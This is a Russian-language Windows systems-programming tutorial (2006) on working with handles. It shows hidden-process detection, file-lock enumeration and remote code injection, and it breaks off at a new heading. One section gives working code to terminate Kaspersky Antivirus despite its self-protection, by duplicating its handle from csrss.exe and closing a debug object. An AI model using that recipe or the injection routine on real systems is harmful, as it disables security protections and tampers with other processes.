Дата публикации статьи: 31.07.2006 13:38

Работа с описателями: практикум

Автор: Максим Павлов (aka Twister)
[Скачать примеры к статье] [Обсудить в форуме]

    В предыдущей моей статье (если Вы ее еще не читали – обязательно прочтите, так как иначе кое-что может оказаться не понятным) я осветил способы перечисления всех описателей в системе и вкратце затронул тему практического применения данной методики. В этой статье мне хотелось бы по шире взглянуть на данный вопрос и показать, на сколько полезным может оказаться умение работать с описателями. Итак, приступим…

Обнаружение скрытых процессов

    Самым эффективным способом скрыть свой процесс в юзермоде является технология внедрения кода в чужие процессы и перехват функции ZwQuerySystemInformation (экспорт модуля ntdll.dll). Большинство юзермодных руткитов поступают именно таким образом, ведь перечисление процессов так или иначе сводится к вызову этой функции. Если мы заглянем внутрь нее, то увидим совсем немного кода (Windows XP):

.text:77F76152 ZwQuerySystemInformation proc 
.text:77F76152                 mov     eax, 0ADh
.text:77F76157                 mov    	edx, 7FFE0300h
.text:77F7615C                 call    	edx
.text:77F7615E                 retn    	10h
.text:77F7615E ZwQuerySystemInformation endp

    Дело в том, что большинство функций модуля ntdll.dll на самом деле являются лишь переходниками к соответствующим функциям ядра и представляют собой обращение к интерфейсу системных вызовов (Int 2Eh в Windows 2000 или sysenter в XP). Следовательно, самым простым и эффективным способом обнаружения скрытых в юзермоде процессов будет прямое обращение к интерфейсам ядра, минуя API. Я приведу здесь соответствующие функции (к сожалению, Visual Basic не поддерживает ассемблерные вставки, поэтому, для простоты, код будет на языке Delphi):

Для Windows XP
function ZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: pdword): dword; stdcall;
asm
 pop ebp
 mov eax, $AD
 call @SystemCall
 ret $10
 @SystemCall:
 mov edx, esp
 sysenter
end;

Для Windows 2000

function ZwQuerySystemInformation(ASystemInformationClass: dword;
                                    ASystemInformation: Pointer;
                                    ASystemInformationLength: dword;
                                    AReturnLength: pdword): dword; stdcall;
asm
 pop ebp
 mov eax, $97
 lea edx, [esp + $04]
 int $2E
 ret $10
end;

    Ну а как быть в том случае, когда процесс скрыт в ядре (на самом деле способов скрыть процесс в ядре еще больше, чем в юзермоде)? Конечно, остается только писать драйвер, чего, к сожалению, на VB не сделать. Но «лазейка» все же остается. Даже две. Почему я говорю «лазейка»? Да потому что ее наличие обуславливается только недосмотром или ленью создателей конкретного руткита.
Итак, фишка номер один заключается в том, что, скрыв процесс, кодеры иногда забывают скрыть описатели, открытые процессом. Нам нужно лишь перечислить их и на основании полученной информации получить список процессов. Код получается не сложным, если учесть что описатели в буфере сгруппированы по PID-ам. Единственный процесс, которого в этом списке не окажется – это Idle (я думаю догадаетесь почему ;) ), нам нужно будет это учесть.
    Второй способ так же основан на перечислении описателей, но суть его в другом. Мы будем искать не открытые процессом описатели, а описатели других процессов, связанные с ним. Это могут быть описатели самого процесса либо его потоков. Раз процесс в системе был запущен, значит, кто-то его запустил и, следовательно, родитель будет иметь описатели дочернего процесса (если они не были прежде закрыты). Также описатели всех работающих процессов имеются в сервере подсистемы csrss.exe. Еще в Windows NT активно используются Job объекты, которые позволяют объединять процессы (например, все процессы определенного пользователя, или какие-либо службы), следовательно, при нахождении описателя Job-объекта, не стоит пренебрегать возможностью получить Id всех объединенных им процессов. Делается это с помощью функции QueryInformationJobObject с классом информации JOB_OBJECT_BASIC_PROCESS_ID_LIST = &H3.
    К сожалению, вышеперечисленные способы не дают возможности получить имя процесса, только его PID. Следовательно, необходимо научиться получать имя по PID. Естественно, что функции ToolHelp мы использовать не будем (читать: не можем, ведь процесс может быть скрытым) – будем считывать имя из PEB (Process Environment Block) процесса. Адрес PEB в памяти процесса определяется функцией ZwQueryInformationProcess с классом информации PROCESS_BASIC_INFO = &H0. Вот готовый код:

Public Type PROCESS_BASIC_INFORMATION
    ExitStatus As Long
    PebBaseAddress As Long
    AffinityMask As Long
    BasePriority As Long
    UniqueProcessId As Long
    InheritedFromUniqueProcessId As Long
End Type

Public Function GetNameByPid(ByVal PID As Long) As String
Dim PBI As PROCESS_BASIC_INFORMATION
Dim hProcess As Long, ret As Long, mPtr As Long
Dim ProcessParametres As Long, proc_name As UNICODE_STRING
Dim vb_str As String, i As Integer

GetNameByPid = ""
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, False, PID)
If hProcess <> 0 Then
    If ZwQueryInformationProcess(hProcess, PROCESS_BASIC_INFO, _
          ByVal VarPtr(PBI), Len(PBI), ret) = 0 Then
        ReadProcessMemory hProcess, ByVal PBI.PebBaseAddress + &H10, _
          ByVal VarPtr(ProcessParametres), 4, ret
        ReadProcessMemory hProcess, ByVal ProcessParametres + &H38, _
          ByVal VarPtr(proc_name), Len(proc_name), ret
        mPtr = VirtualAlloc(0, proc_name.Length, MEM_COMMIT, PAGE_READWRITE)
        ReadProcessMemory hProcess, ByVal proc_name.Buffer, ByVal mPtr, proc_name.Length, ret
        vb_str = Trim(StrConv(SysAllocString(mPtr), vbFromUnicode))
        VirtualFree mPtr, 0, MEM_DECOMMIT
        For i = Len(vb_str) To 1 Step -1
            If Mid(vb_str, i, 1) = "\" Then Exit For
        Next
        GetNameByPid = Right(vb_str, Len(vb_str) - i)
    End If
    CloseHandle hProcess
End If
End Function

    Здесь мы сначала открываем процесс на чтение с помощью обычной OpenProcess. Я сделал так для простоты, а вообще советую совмещать такой способ со способом, описанным мной ниже, в разделе ««Убиваем» Антивирус Касперского». Потом, с помощью функции ZwQueryInformationProcess (так же экспорт ntdll.dll, объявление смотрите в приложении к статье) выуживаем блок базовой информации о процессе (тип PROCESS_BASIC_INFORMATION). Поле PebBaseAddress в полученном блоке и есть указатель на структуру PEB. Описанием данной структуры я заниматься не буду – во-первых, это выходит за рамки статьи, во-вторых, желающие могут сами найти информацию – материалов на данную тему в сети предостаточно. По смещению PebBaseAddress + &H10 находится указатель на структуру типа ProcessParametres, а по смещению ProcessParametres + &H38 – структура (не указатель!) UNICODE_STRING. Как преобразовать эту структуру в обычную переменную типа string Вы, я думаю, должны помнить из предыдущей статьи. Если нет – смотрите вышеприведенный код. Итак, все это хозяйство мы считываем из памяти целевого процесса и после некоторых преобразований получаем обычную VB-строку, содержащую полный путь к EXE-файлу, из образа которого был создан процесс. Одно но – путь-то мы получаем полный, а нам нужно лишь имя. Поэтому приходится бежать с конца строки в начало, искать первый попавшийся символ “\” и отрезать оставшийся «хвост». К слову сказать, этот способ не требует установки SeDebug привилегий (по крайней мере, у меня процесс Winlogon.exe открывался без проблем, хотя я на всякий случай, в готовой версии программы, привилегии все же добавил) для своего процесса, а так же является простым для понимания и реализации. Поэтому я рекомендую новичкам, спрашивающим: «А как узнать полный путь к EXE?», пользоваться этим методом.
    Итак, достаточно теории – пора попрактиковаться. Для начала нам необходимо получить эталонный список процессов. В дальнейшем мы будем сравнивать с ним результаты своей работы, и если окажется, что какого-то процесса в эталонном списке нет, то значит он скрытый. Для хранения данных о процессах я ввел специальный тип переменной - PROC_INFO:

Public Type PROC_INFO
    PID As Long
    EXEName As String
    Hidden As Boolean
End Type

    Думаю, назначение его полей в комментариях не нуждается. Эталонный список мы будем получать с помощью все той же ZwQuerySystemInformation (прямо не функция, а кладезь информации) с классом информации SYSTEM_PROCESSES_AND_THREADS_INFORMATION = &H5. После того, как все будет сделано правильно, в выходном буфере мы получим массив структур типа SYSTEM_PROCESSES. Этот тип довольно сложен, имеет в себе структуры других сложных типов, поэтому я не буду его описывать (при желании можете найти его описание в Интернете), а лишь отмечу некоторые важные моменты: по адресу &H0 относительно начала очередной структуры находится переменная NextEntryDelta, которая содержит смещение следующей структуры. Если NextEntryDelta равна нулю, то значит это последняя структура в списке. По смещению &H3C находится указатель (4 байта) на WideChar строку с именем процесса, а по смещению &H44 – PID процесса (4 байта). Побаловавшись немного с CopyMemory, мы скопируем к себе все необходимые данные:

Dim Proc() As PROC_INFO
Dim i As Integer, CsrssPID As Long
Dim NextEntryDelta As Long, name_ptr As Long, vb_str As String

mSize = 4000
Do
    mPtr = VirtualAlloc(0, mSize, MEM_COMMIT, PAGE_READWRITE)
    St = ZwQuerySystemInformation(SYSTEM_PROCESSES_AND_THREADS_INFORMATION, _
          mPtr, mSize, ret)
    If St = STATUS_INFO_LENGTH_MISMATCH Then
        VirtualFree mPtr, 0, MEM_DECOMMIT
        mSize = mSize * 2
    End If
Loop While St = STATUS_INFO_LENGTH_MISMATCH
mPtr2 = mPtr
i = 1
Do
    CopyMemory ByVal VarPtr(NextEntryDelta), ByVal mPtr, 4
    ReDim Preserve Proc(1 To i)
    CopyMemory ByVal VarPtr(Proc(i).PID), ByVal mPtr + &H44, 4
    CopyMemory ByVal VarPtr(name_ptr), ByVal mPtr + &H3C, 4
    If i <> 1 Then
        vb_str = SysAllocString(name_ptr)
        Proc(i).EXEName = StrConv(vb_str, vbFromUnicode)
        If LCase(Proc(i).EXEName) = "csrss.exe" Then CsrssPID = Proc(i).PID
    Else
        Proc(i).EXEName = "[Бездействие системы]"
    End If
    Proc(i).Hidden = False
    i = i + 1
    mPtr = mPtr + NextEntryDelta
Loop Until NextEntryDelta = 0
VirtualFree mPtr2, 0, MEM_DECOMMIT

    Немного прокомментирую этот код: в первом цикле Do-Loop мы получаем буфер с выходной информацией. Почему это реализовывается именно так, а не как ни будь иначе, читайте в первой статье серии «Работа с описателями». В следующем цикле мы копируем к себе нужные нам значения по заданным смещениям и заносим их в массив. Один маленький нюанс: для процесса «System Idle» (PID = 0) вместо имени возвращается пустая строка, поэтому мы даем ему имя самостоятельно. А так как этот процесс всегда первый в списке, то условие мы задаем жестко – i<>1. Попутно мы сохраняем PID сервера подсистемы csrss.exe – он нам еще пригодится.
    Дальше нам нужно получить все описатели и занести их в массив, так, как мы делали это в предыдущей статье. Здесь, естественно, код я приводить не буду. После будем анализировать этот массив по первому алгоритму:

LastPID = -1
For i = 1 To hCnt
    If LastPID <> Arr(i).ProcessId Then
        If Not PIDInList(Arr(i).ProcessId) Then
        AddPID Arr(i).ProcessId
        LastPID = Arr(i).ProcessId
        End If
    End If
Next

    Как я и обещал, код получился не большим. Я не буду расписывать его – думаю все и так понятно. Пара замечаний: функция PIDInList проверяет, есть ли уже у нас в массиве процесс с указанным PID. Ее код очень легок. И второе: процедура AddPID вытаскивает имя процесса вышеописанным способом, добавляет в массив с информацией о процессах новый элемент, заносит туда переданный PID, полученное имя процесса и помечает процесс как скрытый. Вообще, код этих двух функций можно посмотреть, заглянув в приложение к статье, здесь я его приводить не буду. Теперь проанализируем тот же массив, но уже по второму алгоритму:

For i = 1 To hCnt
    If Arr(i).ObjectTypeNumber = OB_TYPE_PROCESS Or _
       Arr(i).ObjectTypeNumber = OB_TYPE_JOB _
       Or Arr(i).ObjectTypeNumber = OB_TYPE_THREAD Then
    hProcess = OpenProcess(PROCESS_DUP_HANDLE, False, Arr(i).ProcessId)
    If hProcess <> 0 Then
        DuplicateHandle hProcess, Arr(i).Handle, GetCurrentProcess, hHandle, _
                           0, 0, DUPLICATE_SAME_ACCESS
        Select Case Arr(i).ObjectTypeNumber
            Case OB_TYPE_PROCESS
                If Arr(i).ProcessId = CsrssPID Then
                    If ZwQueryInformationProcess(hHandle, PROCESS_BASIC_INFO, _
                            ByVal VarPtr(PBI), Len(PBI), ret) = 0 Then
                        If Not PIDInList(PBI.UniqueProcessId) Then AddPID PBI.UniqueProcessId
                    End If
                End If
            Case OB_TYPE_JOB
                mPtr = VirtualAlloc(0, 4008, MEM_COMMIT, PAGE_READWRITE)
                mPtr2 = mPtr
                ret = 1000
                CopyMemory ByVal mPtr, ByVal VarPtr(ret), 4
                ret = QueryInformationJobObject(hHandle, _
                    JOB_OBJECT_BASIC_PROCESS_ID_LIST, mPtr, 4008, ret)
                mPtr = mPtr + 4
                CopyMemory ByVal VarPtr(NumberOfProcessIdsInList), ByVal mPtr, 4
                For j = 1 To NumberOfProcessIdsInList
                    mPtr = mPtr + 4
                    CopyMemory ByVal VarPtr(ret), ByVal mPtr, 4
                    If Not PIDInList(ret) Then AddPID ret
                Next
                VirtualFree mPtr2, 0, MEM_DECOMMIT
            Case OB_TYPE_THREAD
                If ZwQueryInformationThread(hHandle, THREAD_BASIC_INFO, _
                             ByVal VarPtr(TBI), Len(TBI), ret) = 0 Then
                    If Not PIDInList(TBI.Client_Id.UniqueProcess) Then _
                                AddPID TBI.Client_Id.UniqueProcess
                End If
        End Select
        CloseHandle hHandle
        CloseHandle hProcess
    End If
    End If
Next

    Кода, несомненно, побольше, но ни чего сложного и тут нету. Я вкратце поясню - мы обрабатываем только описатели трех типов: Process, Job, Thread. Для простоты я задал номера этих типов константами, но, по хорошему, их, конечно, нужно искать самому, динамически. Для описателей типа Process и Thread мы выуживаем соответствующую базовую информацию и в соответствующих полях полученных структур находим PID процесса, на который указывает текущий описатель. С описателями Job-объектов по-другому – мы просто вытаскиваем список всех PID-ов, объединенных данным объектом и просматриваем его: нет ли в нем PID-а скрытого процесса? Список PID-ов начинается по смещению &H8 от начала выходного буфера, а по смещению &H4 лежит количество элементов списка.
    На этом я закончу тему обнаружения скрытых процессов в юзермоде. Конечно, можно добавить еще не мало способов, чтобы улучшить качество поиска, но об этом лучше почитать в отдельной статье ms-rem-а посвященной только обнаружению руткитов. Исходный код ко всему изложенному выше Вы найдете в каталоге «\FindHidden» приложения к статье. В этом же каталоге находится программка ProcHide.exe от ms-rem-а, которая скрывает Winlogon.exe путем внедрения DLL в адресное пространство всех процессов и перехвата ZwQuerySystemInformation. Я приложил ее специально, чтоб Вы могли посмотреть на результат нашей с Вами работы…

«Убиваем» антивирус Касперского

    Не пугайтесь столь страшного заголовка – ни кого убивать мы не будем. Мы лишь рассмотрим альтернативные способы получения описателя процесса и закрытия процесса на примере этого широко известного антивируса.
    Попытки получить описатель Касперского с помощью OpenProcess ни к чему хорошему не приводят, так как этот антивирус устанавливает в системе драйвер, который в ядре перехватывает функции ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает работу этих API со своим процессом. Чтобы найти альтернативный способ, нам необходимо знать, из каких этапов состоит запуск процесса в WinNT, давайте кратко рассмотрим их:

  1. Открытие исполняемого файла.
  2. Создание секции (ZwCreateSection).
  3. Создание объекта процесса (ZwCreateProcess или ZwCreateProcessEx в Windows XP).
  4. Создание окружения процесса (RtlCreateProcessParameters).
  5. Создание главной нити процесса (ZwCreateThread).
  6. Информирование сервера подсистемы о создании нового процесса (CsrClientCallServer).
  7. Запуск главной нити нового процесса (ZwResumeThread).

    Обратите внимание на шестой пункт – при информировании сервера подсистемы (csrss.exe) о запуске нового процесса происходит копирование описателя создаваемого процесса в таблицу описателей сервера. Если этот описатель ни кто до нас не закрыл, то мы можем его скопировать к себе и использовать для доступа к памяти нужного процесса (в данном случае это антивирус Касперского) так же, как это делает csrss.exe. Хотя после насильственного закрытия описателя и удаления его из таблицы описателей csrss.exe ни чего страшного не происходит – то ли сервер подсистемы производит запись в память процесса только при его создании, то ли еще что – мне точно не известно. Если кто-то из читателей обладает информацией по данному вопросу – прошу поделиться.
    Собственно код, который бы нашел нужный описатель в «недрах» csrss.exe мы с Вами уже писали – посмотрите на обработку описателей типа Process во втором алгоритме программы FindHidden. Единственное, что нам теперь нужно сделать после получения UniqueProcessId - сравнить это значение с PID-ом антивируса. И еще узнать этот самый PID по названию процесса, что и делает следующий код:

Public Function GetPidByName(ByVal ProcName As String) As Long
Dim hSnap As Long, ret As Long, PE32 As PROCESSENTRY32
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
PE32.dwSize = Len(PE32)
ret = Process32First(hSnap, PE32)
Do While ret
    If Left(UCase(PE32.szExeFile), Len(ProcName)) = UCase(ProcName) Then
        GetPidByName = PE32.th32ProcessID
        CloseHandle hSnap
        Exit Function
    End If
    ret = Process32Next(hSnap, PE32)
Loop
CloseHandle hSnap
GetPidByName = -1
End Function

    Эта функция использует ToolHelp API для перебора процессов и в случае успеха возвращает PID процесса, а в случае неудачи – (-1). Все-таки, на всякий случай, я приведу код поиска описателя KAV (подразумевается, что массив Arr уже заполнен структурами типа SYSTEM_HANDLE_INFORMATION):

Dim hCsrss As Long, Csrss_Id As Long
Csrss_Id = CsrGetProcessId
hCsrss = OpenProcess(PROCESS_DUP_HANDLE, False, Csrss_Id)
If hCsrss = 0 Then
    MsgBox "Нет доступа к серверу подсистемы csrss.exe", vbCritical
    Exit Sub
End If
Dim hHandle As Long, PBI As PROCESS_BASIC_INFORMATION, bFind As Boolean
bFind = False
For i = 1 To hCnt
    If Arr(i).ObjectTypeNumber = OB_TYPE_PROCESS And Arr(i).ProcessId = Csrss_Id Then 
           'Обрабатываем только описатели процессов принадлежащие csrss.exe
        DuplicateHandle hCsrss, Arr(i).Handle, GetCurrentProcess, hHandle, 0, _
                          0, DUPLICATE_SAME_ACCESS
        If ZwQueryInformationProcess(hHandle, PROCESS_BASIC_INFO, _
                ByVal VarPtr(PBI), Len(PBI), ret) = 0 Then
            If PBI.UniqueProcessId = GetPidByName("kav.exe") Then bFind = True: Exit For
        End If
    End If
Next
CloseHandle hCsrss
If Not bFind Then
    MsgBox "Не найден описатель kav.exe – не возможно получить доступ к памяти антивируса.",_
      vbCritical
    Exit Sub
End If

    Хочу обратить внимание читателя на способ получения идентификатора сервера подсистемы csrss.exe – для этого мы используем специальный экспорт ntdll.dll, функцию CsrGetProcessId. После выполнения данного кода в переменной hHandle будет находиться описатель процесса kav.exe и мы уже сможем получить доступ к его памяти, но TerminateProcess все еще не срабатывает. Не сработает и внедрение в память антивируса кода, который вызывает функцию ExitProcess, так как она в итоге все равно обращается к перехваченной ZwTerminateProcess. Но способ обойти такую защиту все же существует. Вы когда ни будь пользовались отладчиком, который может приаттачиваться к работающему процессу? Если да, то должны были заметить, что после закрытия отладчика обязательно закрывается и отлаживаемый процесс. Это не прихоть разработчиков дебагера – так работает сама система. Дело вот в чем: после взятия процесса в режим отладки процесс-отладчик получает описатель Debug-объекта, с помощью которого можно обрабатывать отладочные сообщения и если этот описатель закрывается, то система завершает работу отлаживаемого процесса. Каким образом она это делает мне не известно, но явно не с помощью ядерной ZwTerminateProcess. Скорее всего, есть и другие способы.
    Каким же образом отлаживать уже запущенный процесс? Сначала необходимо подключиться к системе отладки. Это делается с помощью функции DbgUiConnectToDbg:

Public Declare Function DbgUiConnectToDbg Lib "ntdll.dll" () As Long

    Дальше следует взять процесс под отладку с помощью функции DbgUiDebugActiveProcess, которая принимает лишь один параметр – описатель открытого процесса:

Public Declare Function DbgUiDebugActiveProcess Lib "ntdll.dll" _
                            (ByVal hHandle As Long) As Long

    Затем нам нужно заново перечислить все описатели, так как после последнего раза к нам в таблицу добавился еще и описатель Debug-объекта, найти этот самый описатель (номер типа = &H8) и закрыть его. Все! На этом заявленная «неубиваемость» KAV-а заканчивается:

Dim myPID As Long
myPID = GetCurrentProcessId
For i = 1 To hCnt
    If Arr(i).ObjectTypeNumber = OB_TYPE_DEBUGOBJECT And _
                Arr(i).ProcessId = myPID Then
        CloseHandle Arr(i).Handle
        Exit For
    End If
Next

    Но этот способ имеет и досадную вторую «сторону монеты» - единожды взяв процесс под отладку, мы не сможем сделать это второй раз. Только после перезапуска нашей программы. На момент написания этой статьи мне не известен прием, с помощью которого можно было бы «грамотно» решить данную проблему, только запуск «модуля-убивца» в отдельном процессе. Но работы по этому поводу ведутся…
    На этой ноте я хотел бы закончить тему альтернативных способов открытия и завершения процессов. Код примера к этому разделу статьи вы найдете в приложении (каталог «\AntiKAV»). Теперь займемся занятыми файлами…

Занятые файлы: перечисление

    Прежде чем начать перечислять открытые в системе файлы, необходимо определить ObjectType для описателей типа File, так как в Win2k, WinXP и Win2k3 они различаются. Для этого откроем любой файл, найдем у себя его описатель и посмотрим номер типа. Чтобы способ был универсальным, необходимо открывать такой файл, который гарантированно имеется в наличии в любой системе. Для этой цели подойдет любой девайс, я буду использовать «NUL»:

Dim hNUL As Long, FileTypeNumber As Integer
hNUL = CreateFile("NUL", GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, 0, 0)
Dim myPID As Long
myPID = GetCurrentProcessId
‘Файл открыли, теперь заполним массив Arr информацией
‘… заполняем
‘А теперь перебираем массив и ищем наш описатель
For i = 1 To hCnt
If Arr(i).Handle = hNUL And Arr(i).ProcessId = myPID Then _
             FileTypeNumber = Arr(i).ObjectTypeNumber
Next
CloseHandle hNUL

    Получив в переменной FileTypeNumber искомое значение, можно двигаться дальше. Следующий шаг – получение имени файла по описательу. В прошлой статье я описывал проблему, с которой приходится сталкиваться почти всегда при получении каких-либо атрибутов файлов – мы можем «нарваться» на именованный канал, работающий в блокирующем режиме, и вызывающий поток имеет реальный шанс «замерзнуть» и стать не убиваемым. Единственная функция, после вызова которой поток еще можно будет хоть как ни будь прибить – это GetFileType. Этим мы и пользовались для решения проблемы – запускали отдельный поток и в нем опрашивали описатель, если поток повисал, то мы очищали его стек и потом прибивали. Соответственно, у такого, проблемного описателя имя файла уже не «выудишь» и мы его пропускали. Но как вы могли заметить, в VB способ этот нормально работал только под IDE, в откомпилированном виде появлялась ошибка доступа к памяти. Дело в том, что для написания многопоточной программы на VB не достаточно вызвать CreateThread(AddressOf ThreadProc), нормально такая программа работать не будет. Можно, конечно, мудрить с TLS, но мы пойдем другим, более легким путем – мы напишем нужный нам код на ассемблере. Людей, не знающих ассемблер, хочу попросить не пугаться – код будет настолько прокомментированным и легким, что его поймет всякий, не знающий этого языка. Сначала я хотел сделать маленький ассемблерный переходник, вшитый в программу в виде байтового массива содержащего откомпилированный код, но потом решил сделать полноценную библиотеку DLL, так как к помощи ассемблера нам еще придется прибегнуть (я использовал MASM). Итак, функция TestFile принимает на стек один DWORD (4 байта) – опрашиваемый описатель и возвращает TRUE, если его можно безопасно опрашивать. В противном случае, естественно, возвращается FALSE:

TestFile Proc hHandle: DWORD	
	push		ebx
	push		hHandle
	pop		hndl ;Это глобальная переменная. 
				;В нее заносим переданный
			        ;параметр
	;В регистр eax помещаем адрес процедуры потока
lea		eax,ThreadProc
	;Создаем поток
invoke 	CreateThread,NULL,0,eax,NULL,0,NULL
	;В регистр ebx помещаем результат – описатель созданного потока.
xchg		ebx,eax
	;Ждем завершения потока в течение 20 мск
invoke 	WaitForSingleObject,ebx,20
	;Если не дождались, то…
.IF eax==STATUS_TIMEOUT
		;… прибиваем поток и…
invoke		TerminateThread,ebx,0
		;… очищаем его стек.
.IF pStack!=0 ;pStack – глобальная переменная.
			invoke	VirtualFree,pStack,0,MEM_RELEASE
		.ENDIF
		pop		ebx
		;Возвращаем FALSE
mov		eax,FALSE
		ret
	.ENDIF
	pop		ebx
	;Возвращаем TRUE
mov		eax,TRUE
	ret
TestFile EndP

ThreadProc Proc
	LOCAL mbi: MEMORY_BASIC_INFORMATION
	
	;По указанному адресу получаем информацию о странице памяти.
	;Так как переменная mbi создается на стеке, 
	;то передаем указатель на нее,
	;получая адрес стека в mbi.AllocationBase
invoke		VirtualQuery,addr mbi,addr mbi,28
	push		mbi.AllocationBase
	pop		pStack ;Кладем адрес стека в глобальную переменную
	;Получив адрес стека пробуем опросить описатель
invoke		GetFileType,hndl
	ret
ThreadProc EndP

    Теперь, имея под рукой эту функцию, мы можем смело перебирать описатели файлов и получать их имена. Делается это с помощью экспорта ntdll.dll – ZwQueryInformationFile с классом информации FILE_NAME_INFORMATION = &H9:

Public Declare Function ZwQueryInformationFile Lib "ntdll.dll" _
(ByVal FileHandle As Long, ByVal IoStatusBlock As Long, _
ByVal FileInformation As Long, ByVal Length As Long, _
ByVal FileInformationClass As Long) As Long

Public Type FILE_NAME_INFO
    FileNameLength As Long
    FileName As String * 256
End Type
Public Type IO_STATUS_BLOCK
    Status As Long
    uInformation As Long
End Type

Dim fni As FILE_NAME_INFO, isb As IO_STATUS_BLOCK
fni.FileName = Chr(0)
ZwQueryInformationFile hHandle, ByVal VarPtr(isb), _
ByVal VarPtr(fni), Len(fni), FILE_NAME_INFORMATION
File_Name = ReplaceNulls(Left(fni.FileName, fni.FileNameLength))

    Само собой, что описатель файла должен присутствовать в таблице описателей нашего процесса, следовательно, сначала его необходимо скопировать к себе. Функция ReplaceNulls убирает лишние нули в конце получившейся строки, ее код смотрите в приложении к статье. Имея за плечами эти знания, мы уже можем узнать, какими процессами занят тот или иной файл, даже если он закрыт не только на запись, но и на чтение. Дело в том, что любой файл (кроме файлов подкачки) можно открыть с доступом FILE_READ_ATTRIBUTES, что позволит получить его имя с помощью ZwQueryInformationFile и сравнить результат со списком имен файлов уже открытых в системе. Обычный путь, возвращаемый, к примеру, CommonDialog-ом нас не устраивает, так как он имеет немного другой формат. Любителей копипаста и готового кода я отправляю к приложению – там все есть.

Занятые файлы: закрытие чужих описателей

    После того, как мы узнаем, каким процессом занят тот или иной файл, нам нужно закрыть блокирующий дескриптор, чтобы была возможность работать с этим файлом (к примеру, возможность корректно удалить его). Существует лишь два способа сделать это. Первый заключается в копировании описателя с флагом DUPLICATE_CLOSE_SOURCE = &H1 и последующем закрытии копии с помощью CloseHandle, но этот способ имеет один серьезный недостаток – с помощью функции SetHandleInformation описательу можно установить флаг HANDLE_FLAG_PROTECT_FROM_CLOSE = &H2. Такой дескриптор, естественно, «удаленно» закрыть нельзя. Поэтому мы этим способом пользоваться не будем. Второй способ заключается во внедрении в «удаленный» процесс кода, закрывающего нужный описатель с последующим его выполнением. Этот метод 100% надежен, главное суметь внедриться в процесс. Естественно, что внедрять чистый VB код мы не будем (думаю причины объяснять не нужно?), поэтому опять обратимся за помощью к ассемблеру. Внедряемый и внедряющий код я решил держать в той же библиотеке, где и функцию TestFile. Итак, перед Вами процедура CloseRemoteHandle – она принимает два параметра: описатель открытого процесса и, собственно, сам закрываемый описатель:

CloseRemoteHandle Proc hProcess: DWORD, hHandle: DWORD
	;Объявляем локальные переменные
LOCAL hMem: DWORD
	LOCAL kernelBase: DWORD
	LOCAL CodeSize: DWORD
	
	;Получаем адрес kernel32.dll
invoke		GetModuleHandle,offset @kernel
	;Запоминаем его
mov		dword ptr[kernelBase],eax
	;Получаем адрес функции CloseHandle
invoke		GetProcAddress,eax,offset @CloseHandle
	;Сразу изменим внедряемый код и запишем в него результат.
lea		ebx,_data
	mov		dword ptr[ebx],eax
	;Получаем адрес функции ExitThread
invoke		GetProcAddress,kernelBase,offset @ExitThread
	;Так же запишем результат прямо в код
mov		dword ptr[ebx+8],eax
	;Поместим закрываемый описатель в регистр eax
	;и соответствующим образом изменим внедряемый код
mov		eax,hHandle
	mov		dword ptr[ebx+4],eax
	;В регистр edx поместим адрес конца внедряемого кода,
lea		edx,InjectedCode_End
	;а в eax адрес начала.
lea		eax,InjectedCode
	;Найдем разницу – это будет размер внедряемого кода
sub		edx,eax
	;Сохраним результат в переменную
mov		CodeSize,edx
	;Выделяем память в «удаленном процессе»
invoke	VirtualAllocEx,hProcess,0,CodeSize,MEM_COMMIT+MEM_RESERVE,PAGE_READWRITE
	;Запоминаем адрес выделенной памяти
mov		hMem,eax
	;В ebx заносим адрес начала внедряемого кода
lea		ebx,InjectedCode
	;Теперь пишем наш код по адресу выделенной памяти
invoke	WriteProcessMemory,hProcess,eax,ebx,CodeSize,0
	;Устанавливаем странице выделенной памяти атрибут PAGE_EXECUTE_READ,
	;чтоб внедренный код мог исполняться и читать свои данные
invoke	VirtualProtectEx,hProcess,hMem,CodeSize,PAGE_EXECUTE_READ,0
	;Создаем удаленный поток и запускаем в нем внедренный код
invoke	CreateRemoteThread,hProcess,0,0,hMem,0,0,0
	;Ждем завершения потока…
invoke	WaitForSingleObject,eax,INFINITE
	;Не забываем освободить выделенную память
invoke	VirtualFreeEx,hProcess,hMem,CodeSize,MEM_DECOMMIT
	
	ret
CloseRemoteHandle EndP

    Оговорюсь: чтобы страница памяти, в которой будет исполняться код библиотеки, была доступна не только для чтения, но и для записи, нам необходимо указать линковщику параметр /SECTION:.text,RWE. Иначе команды, типа mov dword ptr[ebx+4],eax будут вызывать исключение. Теперь, собственно, сам внедряемый код:

InjectedCode:
	;Перепрыгиваем данные. Если этого не сделать, то они начнут выполняться
	;и это неизбежно приведет к исключению.
jmp		code_start
	
_data:
	;Это данные. После выполнения процедуры CloseRemoteHandle
	;нули заполнятся реальными значениями
_CloseHandle		dd	00000000h
	hHandle		dd	00000000h
	_ExitThread		dd	00000000h
	
code_start:
	call		_delta			;||	 Нам необходимо получить базовый адрес
_delta:					;|| =>	страницы (дельта-смещение), так как мы
	pop		ebp			;|| 	не знаем, где окажется наш код.
	sub		ebp,offset _delta	;||	Результат сохранится в регистре ebp.	
;Закрываем нужный описатель.
push		dword ptr [ebp+hHandle]
	call		dword ptr [ebp+_CloseHandle]
	;Завершаем выполнение потока.
xor		eax,eax
	push		eax
	call		dword ptr [ebp+_ExitThread]
InjectedCode_End:

После этого любой описатель можно будет закрыть, используя код примерно следующего вида:

Public Declare Sub CloseRemoteHandle Lib "LockedFile.dll" _
(ByVal hProcess As Long, ByVal Handle As Long)

hProcess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_CREATE_THREAD _
          Or PROCESS_VM_WRITE, 0, ProcessId)
CloseRemoteHandle hProcess, hHandle
Занятые файлы: копирование

